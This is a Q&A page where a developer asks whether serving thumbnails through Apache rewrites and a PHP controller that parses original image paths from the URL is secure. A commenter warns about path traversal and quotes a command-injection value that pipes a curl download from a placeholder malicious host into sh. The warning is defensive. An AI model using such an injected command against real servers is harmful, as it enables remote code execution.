2

My team have an application written in PHP. Most requests are rewritten to our index.php file using the condition below, in the Apache .conf

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ /index.php [QSA,L]

For thumbnails, I thought it would be a good idea to use Apache to check for these static files since it seems to always be doing this file-checking.

  1. If thumbnail exists, then Apache will serve the thumbnail as is mapped to the file-structure.
  2. If thumbnail does not exists, the request will simply be rewritten to index.php and routed to a controller that uses the same exact URI route. Then it will create the thumbnail and send the image back in the same request using xsendfile.

From my testing, if the thumbnail exists(1) or is created(2), the image are cached in the browser like a normal static-file and sent with the same ETAG.

All original images for the thumbnails are on the server /mnt.

The only problem I had was it is hard to rename files and the file structure is given away. https://example.com/<thumbnail_setting>/images/<route_to_orginal_image_in_mnt>

If the thumbnail does not exists, then the controller will read the <route_to_orginal_image_in_mnt> to find the original image to create a thumbnail with the <thumbnail_setting>

https://example.com/100x100/images/12152018/renovation/0001.png This is either a static-file or a controller route.

Would this be a bad idea? Secure? What would be best practice?

  • I don't have a full answer, but I just wanted to mention: you should expect that people will put malicious strings into the URL to try and gain access that they shouldn't have. Make sure they cannot use .. to get to /, and that you sanitize input so that they can't hack your server with something like"; curl http://[malicious] | sh. Someone else will be able to chime in with a more complete solution. – Maximillian Laumeister Dec 15 '18 at 20:04

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.